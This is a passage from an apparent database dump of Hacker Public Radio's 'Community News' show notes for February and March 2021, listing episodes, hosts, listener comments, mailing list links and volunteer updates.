href=\"https://hackerpublicradio.org/eps.php?id=3266\" target=\"_blank\">3266</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-02-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3266\" target=\"_blank\">Upgrading Debian on my raspberry pi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3267\" target=\"_blank\">3267</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-02-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3267\" target=\"_blank\">Ripping Media 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3268\" target=\"_blank\">3268</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-02-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3268\" target=\"_blank\">Video Game Review - Ark Survival Evolved</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3269\" target=\"_blank\">3269</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-02-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3269\" target=\"_blank\">Linux Inlaws S01E23: The first year of the five year plan</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3270\" target=\"_blank\">3270</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-02-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3270\" target=\"_blank\">An Example of Using Layers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3271\" target=\"_blank\">3271</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-02-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3271\" target=\"_blank\">Interview with a 6yo child </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3272\" target=\"_blank\">3272</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-02-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3272\" target=\"_blank\">In GNU/Linux, there is no \"diversity\", we\'re all just data.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3273\" target=\"_blank\">3273</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-02-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3273\" target=\"_blank\">Embrace Firefox</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3274\" target=\"_blank\">3274</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-02-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3274\" target=\"_blank\">My Custom dwm Setup</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=138\" target=\"_blank\">arfab</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3275\" target=\"_blank\">3275</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-02-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3275\" target=\"_blank\">D1 Mini Close Lid to Scan</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3276\" target=\"_blank\">3276</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-02-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3276\" target=\"_blank\">Deepgeek\'s thoughts about HD Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\" target=\"_blank\">deepgeek</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3277\" target=\"_blank\">3277</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-02-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3277\" target=\"_blank\">Microsoft in my Debian repo</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3278\" target=\"_blank\">3278</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-02-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3278\" target=\"_blank\">A Minor Victory Against Designed-In Obsolescence</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3279\" target=\"_blank\">3279</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-02-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3279\" target=\"_blank\">Linux Inlaws S01E24: Legacy programming languages</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3280\" target=\"_blank\">3280</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-02-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3280\" target=\"_blank\">What We Need For the ActivityPub Network</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2356#comments\" target=\"_blank\">hpr2356</a></strong>\n(2017-08-14) \"<em>Safely enabling ssh in the default Raspbian Image</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2356#4\" target=\"_blank\">Comment 4</a>:\nLeo_B on 2021-02-23:\n\"If you\'re watching this in 2021\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2356#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2021-02-25:\n\"Updated versions\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3187#comments\" target=\"_blank\">hpr3187</a></strong>\n(2020-10-20) \"<em>Ansible for Dynamic Host Configuration Protocol</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3187#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2021-02-10:\n\"Interesting approach\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3241#comments\" target=\"_blank\">hpr3241</a></strong>\n(2021-01-04) \"<em>HPR Community News for December 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3241#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2021-02-16:\n\"NoSQL and Redis\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3241#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2021-02-16:\n\"Redis pronunciation\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3241#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2021-02-17:\n\"Key/value storage\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3259#comments\" target=\"_blank\">hpr3259</a></strong>\n(2021-01-28) \"<em>Nextcloud - The easy way</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3259#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2021-02-01:\n\"Show name\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 9 comments on 5 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3262#comments\" target=\"_blank\">hpr3262</a></strong>\n(2021-02-02) \"<em>My thoughts on diversity in Linux and open source</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3262#1\" target=\"_blank\">Comment 1</a>:\nnorist on 2021-02-02:\n\"Storyteller\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3262#2\" target=\"_blank\">Comment 2</a>:\nBill n1vux on 2021-02-04:\n\"well said\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3262#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2021-02-04:\n\"Further discussion\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3262#4\" target=\"_blank\">Comment 4</a>:\nblizzack on 2021-02-15:\n\"Systematically kept out - part 1\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3262#5\" target=\"_blank\">Comment 5</a>:\nblizzack on 2021-02-15:\n\"Systematically kept out - part 2\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3269#comments\" target=\"_blank\">hpr3269</a></strong>\n(2021-02-11) \"<em>Linux Inlaws S01E23: The first year of the five year plan</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3269#1\" target=\"_blank\">Comment 1</a>:\nclaudiom on 2021-02-12:\n\"Thanks for the invite....\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3271#comments\" target=\"_blank\">hpr3271</a></strong>\n(2021-02-15) \"<em>Interview with a 6yo child </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3271#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2021-02-16:\n\"Loved this!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3272#comments\" target=\"_blank\">hpr3272</a></strong>\n(2021-02-16) \"<em>In GNU/Linux, there is no \"diversity\", we\'re all just data.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3272#1\" target=\"_blank\">Comment 1</a>:\nbookewyrmm on 2021-02-17:\n\"welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3274#comments\" target=\"_blank\">hpr3274</a></strong>\n(2021-02-18) \"<em>My Custom dwm Setup</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=138\" target=\"_blank\">arfab</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3274#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2021-02-19:\n\"Might return to dwm\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-February/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 10 shows which were without them.</p>\n<p>There are now 414 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3306,'2021-04-05','HPR Community News for March 2021',2000,'HPR Volunteers talk about shows released and comments posted in March 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\" target=\"_blank\">timttmy</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3281\" target=\"_blank\">3281</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-03-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3281\" target=\"_blank\">HPR Community News for February 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3282\" target=\"_blank\">3282</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-03-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3282\" target=\"_blank\">HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3283\" target=\"_blank\">3283</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-03-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3283\" target=\"_blank\">HPR RPG Club reviews Dead Earth</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3284\" target=\"_blank\">3284</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-03-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3284\" target=\"_blank\">Introduction to gdb</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3285\" target=\"_blank\">3285</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-03-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3285\" target=\"_blank\">Upgrading Lubuntu on my Samsung N150 Plus netbook</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3286\" target=\"_blank\">3286</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-03-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3286\" target=\"_blank\">Wireguard How To</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\" target=\"_blank\">timttmy</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3287\" target=\"_blank\">3287</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-03-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3287\" target=\"_blank\">Quick tip</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3288\" target=\"_blank\">3288</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-03-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3288\" target=\"_blank\">Linux Inlaws S01E25: The Grumpy Old Coders</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3289\" target=\"_blank\">3289</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-03-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3289\" target=\"_blank\">NextCloud the hard way</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3290\" target=\"_blank\">3290</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-03-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3290\" target=\"_blank\">GIMP: More on Layer Tools and Techniques</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3291\" target=\"_blank\">3291</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-03-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3291\" target=\"_blank\">The New Audacity and Batch Processing Macros</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3292\" target=\"_blank\">3292</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-03-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3292\" target=\"_blank\">Squirrel FSF blog</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3293\" target=\"_blank\">3293</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-03-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3293\" target=\"_blank\">HPR RPG Club reviews Dungeon Raiders</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3294\" target=\"_blank\">3294</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-03-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3294\" target=\"_blank\">Update to MakeMKV to back up media</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3295\" target=\"_blank\">3295</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-03-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3295\" target=\"_blank\">Renewing a Let\'s Encrypt cert for Home Network use</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3296\" target=\"_blank\">3296</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-03-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3296\" target=\"_blank\">Spam Bot Honey Pot</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3297\" target=\"_blank\">3297</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-03-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3297\" target=\"_blank\">Nextcloud Application Updating</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3298\" target=\"_blank\">3298</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-03-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3298\" target=\"_blank\">Poisoning The Well</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3299\" target=\"_blank\">3299</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-03-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3299\" target=\"_blank\">Linux Inlaws S01E26: Make your Linux harder</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3300\" target=\"_blank\">3300</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-03-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3300\" target=\"_blank\">YouTube Channels for Learning Spanish, Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3301\" target=\"_blank\">3301</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-03-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3301\" target=\"_blank\">K S P Kerbal Space Program! (Game)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3302\" target=\"_blank\">3302</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-03-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3302\" target=\"_blank\">Input Methods on Ubuntu</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3303\" target=\"_blank\">3303</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-03-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3303\" target=\"_blank\">Slackware on RaspberryPi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 3 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3153#comments\" target=\"_blank\">hpr3153</a></strong>\n(2020-09-02) \"<em>Fixing eBooks with Calibre and pdfcrop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3153#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2021-03-03:\n\"Thanks Again.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3241#comments\" target=\"_blank\">hpr3241</a></strong>\n(2021-01-04) \"<em>HPR Community News for December 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3241#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2021-03-03:\n\"OpenLDAP on BDB?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3262#comments\" target=\"_blank\">hpr3262</a></strong>\n(2021-02-02) \"<em>My thoughts on diversity in Linux and open source</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3262#6\" target=\"_blank\">Comment 6</a>:\nbjhend on 2021-03-08:\n\"Get rid of bad terms in IT\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 12 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3282#comments\" target=\"_blank\">hpr3282</a></strong>\n(2021-03-02) \"<em>HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3282#1\" target=\"_blank\">Comment 1</a>:\nfrank on 2021-03-18:\n\"Using your OEM Windows key in a VM\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3289#comments\" target=\"_blank\">hpr3289</a></strong>\n(2021-03-11) \"<em>NextCloud the hard way</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3289#1\" target=\"_blank\">Comment 1</a>:\nmonochromec on 2021-01-29:\n\"apachectl restart vs. systemctl restart apache2.service\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3291#comments\" target=\"_blank\">hpr3291</a></strong>\n(2021-03-15) \"<em>The New Audacity and Batch Processing Macros</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3291#1\" target=\"_blank\">Comment 1</a>:\nRmccurdyDOTcom on 2021-03-15:\n\"audio\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3291#2\" target=\"_blank\">Comment 2</a>:\nGumnos on 2021-03-26:\n\"Which hardware podcast player did you move to?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3291#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2021-03-27:\n\"Your answer\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3292#comments\" target=\"_blank\">hpr3292</a></strong>\n(2021-03-16) \"<em>Squirrel FSF blog</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3292#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-03-09:\n\"Good 